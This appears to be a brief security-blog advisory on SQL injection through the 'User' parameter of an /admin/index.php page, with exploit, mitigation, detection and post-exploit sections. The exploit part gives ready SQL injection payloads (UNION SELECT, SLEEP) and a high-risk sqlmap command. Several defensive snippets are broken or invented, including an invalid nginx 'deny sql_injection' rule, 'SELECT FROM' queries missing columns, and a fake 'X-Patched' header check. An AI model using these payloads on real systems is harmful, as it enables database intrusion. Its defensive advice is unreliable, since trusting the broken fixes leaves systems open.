What Undercode Say:
Exploitation:
1. Manual Exploit:
GET /admin/index.php?User=1' UNION SELECT 1,2,3,4,5-- HTTP/1.1
2. Automated Exploit (SQLmap):
sqlmap -u "http://target.com/admin/index.php?User=1" --risk=3 --level=5
3. Blind SQLi Detection:
GET /admin/index.php?User=1' AND SLEEP(5)-- HTTP/1.1
Mitigation:
1. Input Sanitization:
$user = mysqli_real_escape_string($conn, $_GET['User']);
2. WAF Rules:
location /admin/ {
deny sql_injection;
}
3. Patch Verification:
curl -I http://target.com/admin/index.php | grep "X-Patched: Yes"
Detection:
1. Log Monitoring:
grep "UNION|SLEEP" /var/log/apache2/access.log
2. IDS Rule (Snort):
alert tcp any any -> any 80 (msg:"SQLi Attempt"; content:"User=1'";)
Post-Exploit Analysis:
1. Database Backup Check:
SELECT FROM mysql.backup_log WHERE event_time > '2025-06-04';
2. Session Hijacking Detection:
netstat -antp | grep ESTABLISHED | grep 3306
Expected Patch Actions:
- Vendor should release an update enforcing prepared statements:
$stmt = $conn->prepare("SELECT FROM users WHERE User=?"); $stmt->bind_param("s", $_GET['User']);
